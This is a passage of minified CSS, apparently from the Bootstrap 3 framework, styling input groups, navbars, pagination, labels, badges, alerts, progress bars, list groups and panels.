.form-control:last-child,.input-group-addon:last-child,.input-group-btn:first-child>.btn-group:not(:first-child)>.btn,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:active,.input-group-btn>.btn:focus,.input-group-btn>.btn:hover{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{z-index:2;margin-left:-1px}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:focus,.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#777}.nav>li.disabled>a:focus,.nav>li.disabled>a:hover{color:#777;text-decoration:none;cursor:not-allowed;background-color:transparent}.nav .open>a,.nav .open>a:focus,.nav .open>a:hover{background-color:#eee;border-color:#337ab7}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:focus,.nav-tabs>li.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media(min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border:1px solid #ddd}@media(min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border-bottom-color:#fff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:focus,.nav-pills>li.active>a:hover{color:#fff;background-color:#337ab7}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media(min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border:1px solid #ddd}@media(min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}@media(min-width:768px){.navbar{border-radius:4px}}@media(min-width:768px){.navbar-header{float:left}}.navbar-collapse{padding-right:15px;padding-left:15px;overflow-x:visible;-webkit-overflow-scrolling:touch;border-top:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1)}.navbar-collapse.in{overflow-y:auto}@media(min-width:768px){.navbar-collapse{width:auto;border-top:0;-webkit-box-shadow:none;box-shadow:none}.navbar-collapse.collapse{display:block !important;height:auto !important;padding-bottom:0;overflow:visible !important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse{padding-right:0;padding-left:0}}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:340px}@media(max-device-width:480px) and (orientation:landscape){.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:200px}}.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:-15px;margin-left:-15px}@media(min-width:768px){.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media(min-width:768px){.navbar-static-top{border-radius:0}}.navbar-fixed-bottom,.navbar-fixed-top{position:fixed;right:0;left:0;z-index:1030}@media(min-width:768px){.navbar-fixed-bottom,.navbar-fixed-top{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;height:50px;padding:15px 15px;font-size:18px;line-height:20px}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-brand>img{display:block}@media(min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;padding:9px 10px;margin-top:8px;margin-right:15px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media(min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media(max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;-webkit-box-shadow:none;box-shadow:none}.navbar-nav .open .dropdown-menu .dropdown-header,.navbar-nav .open .dropdown-menu>li>a{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:focus,.navbar-nav .open .dropdown-menu>li>a:hover{background-image:none}}@media(min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{padding:10px 15px;margin-top:8px;margin-right:-15px;margin-bottom:8px;margin-left:-15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1)}@media(min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .form-control,.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .checkbox,.navbar-form .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .checkbox label,.navbar-form .radio label{padding-left:0}.navbar-form .checkbox input[type=checkbox],.navbar-form .radio input[type=radio]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media(max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media(min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-left-radius:0;border-top-right-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8px;margin-bottom:8px}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media(min-width:768px){.navbar-text{float:left;margin-right:15px;margin-left:15px}}@media(min-width:768px){.navbar-left{float:left !important}.navbar-right{float:right !important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7}.navbar-default .navbar-brand{color:#777}.navbar-default .navbar-brand:focus,.navbar-default .navbar-brand:hover{color:#5e5e5e;background-color:transparent}.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a{color:#777}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:focus,.navbar-default .navbar-nav>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:focus,.navbar-default .navbar-nav>.disabled>a:hover{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:focus,.navbar-default .navbar-toggle:hover{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#555;background-color:#e7e7e7}@media(max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#777}.navbar-default .navbar-link:hover{color:#333}.navbar-default .btn-link{color:#777}.navbar-default .btn-link:focus,.navbar-default .btn-link:hover{color:#333}.navbar-default .btn-link[disabled]:focus,.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:focus,fieldset[disabled] .navbar-default .btn-link:hover{color:#ccc}.navbar-inverse{background-color:#222;border-color:#080808}.navbar-inverse .navbar-brand{color:#9d9d9d}.navbar-inverse .navbar-brand:focus,.navbar-inverse .navbar-brand:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-text{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a:focus,.navbar-inverse .navbar-nav>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:focus,.navbar-inverse .navbar-nav>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:focus,.navbar-inverse .navbar-nav>.disabled>a:hover{color:#444;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:focus,.navbar-inverse .navbar-toggle:hover{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:focus,.navbar-inverse .navbar-nav>.open>a:hover{color:#fff;background-color:#080808}@media(max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#444;background-color:transparent}}.navbar-inverse .navbar-link{color:#9d9d9d}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#9d9d9d}.navbar-inverse .btn-link:focus,.navbar-inverse .btn-link:hover{color:#fff}.navbar-inverse .btn-link[disabled]:focus,.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:focus,fieldset[disabled] .navbar-inverse .btn-link:hover{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{padding:0 5px;color:#ccc;content:"/\00a0"}.breadcrumb>.active{color:#777}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;margin-left:-1px;line-height:1.42857143;color:#337ab7;text-decoration:none;background-color:#fff;border:1px solid #ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-top-left-radius:4px;border-bottom-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>li>a:focus,.pagination>li>a:hover,.pagination>li>span:focus,.pagination>li>span:hover{z-index:2;color:#23527c;background-color:#eee;border-color:#ddd}.pagination>.active>a,.pagination>.active>a:focus,.pagination>.active>a:hover,.pagination>.active>span,.pagination>.active>span:focus,.pagination>.active>span:hover{z-index:3;color:#fff;cursor:default;background-color:#337ab7;border-color:#337ab7}.pagination>.disabled>a,.pagination>.disabled>a:focus,.pagination>.disabled>a:hover,.pagination>.disabled>span,.pagination>.disabled>span:focus,.pagination>.disabled>span:hover{color:#777;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px;line-height:1.3333333}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-top-left-radius:6px;border-bottom-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px;line-height:1.5}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-top-left-radius:3px;border-bottom-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}.pager{padding-left:0;margin:20px 0;text-align:center;list-style:none}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:focus,.pager li>a:hover{text-decoration:none;background-color:#eee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:focus,.pager .disabled>a:hover,.pager .disabled>span{color:#777;cursor:not-allowed;background-color:#fff}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}a.label:focus,a.label:hover{color:#fff;text-decoration:none;cursor:pointer}.label:empty{display:none}.btn .label{position:relative;top:-1px}.label-default{background-color:#777}.label-default[href]:focus,.label-default[href]:hover{background-color:#5e5e5e}.label-primary{background-color:#337ab7}.label-primary[href]:focus,.label-primary[href]:hover{background-color:#286090}.label-success{background-color:#5cb85c}.label-success[href]:focus,.label-success[href]:hover{background-color:#449d44}.label-info{background-color:#5bc0de}.label-info[href]:focus,.label-info[href]:hover{background-color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:focus,.label-warning[href]:hover{background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:focus,.label-danger[href]:hover{background-color:#c9302c}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:middle;background-color:#777;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-group-xs>.btn .badge,.btn-xs .badge{top:0;padding:1px 5px}a.badge:focus,a.badge:hover{color:#fff;text-decoration:none;cursor:pointer}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#337ab7;background-color:#fff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding-top:30px;padding-bottom:30px;margin-bottom:30px;color:inherit;background-color:#eee}.jumbotron .h1,.jumbotron h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.jumbotron>hr{border-top-color:#d5d5d5}.container .jumbotron,.container-fluid .jumbotron{padding-right:15px;padding-left:15px;border-radius:6px}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding-top:48px;padding-bottom:48px}.container .jumbotron,.container-fluid .jumbotron{padding-right:60px;padding-left:60px}.jumbotron .h1,.jumbotron h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:border .2s ease-in-out;-o-transition:border .2s ease-in-out;transition:border .2s ease-in-out}.thumbnail a>img,.thumbnail>img{margin-right:auto;margin-left:auto}a.thumbnail.active,a.thumbnail:focus,a.thumbnail:hover{border-color:#337ab7}.thumbnail .caption{padding:9px;color:#333}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:700}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#2b542c}.alert-info{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#245269}.alert-warning{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.alert-warning hr{border-top-color:#f7e1b5}.alert-warning .alert-link{color:#66512c}.alert-danger{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.alert-danger hr{border-top-color:#e4b9c0}.alert-danger .alert-link{color:#843534}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.progress-bar{float:left;width:0;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#337ab7;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress-bar-striped,.progress-striped .progress-bar{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;background-size:40px 40px}.progress-bar.active,.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#5cb85c}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-info{background-color:#5bc0de}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-warning{background-color:#f0ad4e}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-danger{background-color:#d9534f}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{overflow:hidden;zoom:1}.media-body{width:10000px}.media-object{display:block}.media-object.img-thumbnail{max-width:none}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-body,.media-left,.media-right{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{padding-left:0;margin-bottom:20px}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-left-radius:4px;border-top-right-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}a.list-group-item,button.list-group-item{color:#555}a.list-group-item .list-group-item-heading,button.list-group-item .list-group-item-heading{color:#333}a.list-group-item:focus,a.list-group-item:hover,button.list-group-item:focus,button.list-group-item:hover{color:#555;text-decoration:none;background-color:#f5f5f5}button.list-group-item{width:100%;text-align:left}.list-group-item.disabled,.list-group-item.disabled:focus,.list-group-item.disabled:hover{color:#777;cursor:not-allowed;background-color:#eee}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text{color:#777}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{z-index:2;color:#fff;background-color:#337ab7;border-color:#337ab7}.list-group-item.active .list-group-item-heading,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:focus .list-group-item-text,.list-group-item.active:hover .list-group-item-text{color:#c7ddef}.list-group-item-success{color:#3c763d;background-color:#dff0d8}a.list-group-item-success,button.list-group-item-success{color:#3c763d}a.list-group-item-success .list-group-item-heading,button.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:focus,a.list-group-item-success:hover,button.list-group-item-success:focus,button.list-group-item-success:hover{color:#3c763d;background-color:#d0e9c6}a.list-group-item-success.active,a.list-group-item-success.active:focus,a.list-group-item-success.active:hover,button.list-group-item-success.active,button.list-group-item-success.active:focus,button.list-group-item-success.active:hover{color:#fff;background-color:#3c763d;border-color:#3c763d}.list-group-item-info{color:#31708f;background-color:#d9edf7}a.list-group-item-info,button.list-group-item-info{color:#31708f}a.list-group-item-info .list-group-item-heading,button.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:focus,a.list-group-item-info:hover,button.list-group-item-info:focus,button.list-group-item-info:hover{color:#31708f;background-color:#c4e3f3}a.list-group-item-info.active,a.list-group-item-info.active:focus,a.list-group-item-info.active:hover,button.list-group-item-info.active,button.list-group-item-info.active:focus,button.list-group-item-info.active:hover{color:#fff;background-color:#31708f;border-color:#31708f}.list-group-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning,button.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading,button.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:focus,a.list-group-item-warning:hover,button.list-group-item-warning:focus,button.list-group-item-warning:hover{color:#8a6d3b;background-color:#faf2cc}a.list-group-item-warning.active,a.list-group-item-warning.active:focus,a.list-group-item-warning.active:hover,button.list-group-item-warning.active,button.list-group-item-warning.active:focus,button.list-group-item-warning.active:hover{color:#fff;background-color:#8a6d3b;border-color:#8a6d3b}.list-group-item-danger{color:#a94442;background-color:#f2dede}a.list-group-item-danger,button.list-group-item-danger{color:#a94442}a.list-group-item-danger .list-group-item-heading,button.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:focus,a.list-group-item-danger:hover,button.list-group-item-danger:focus,button.list-group-item-danger:hover{color:#a94442;background-color:#ebcccc}a.list-group-item-danger.active,a.list-group-item-danger.active:focus,a.list-group-item-danger.active:hover,button.list-group-item-danger.active,button.list-group-item-danger.active:focus,button.list-group-item-danger.active:hover{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-left-radius:3px;border-top-right-radius:3px}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px;color:inherit}.panel-title>.small,.panel-title>.small>a,.panel-title>a,.panel-title>small,.panel-title>small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-left-radius:3px;border-top-right-radius:3px}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.panel-heading+.panel-collapse>.list-group .list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.panel-heading+.list-group 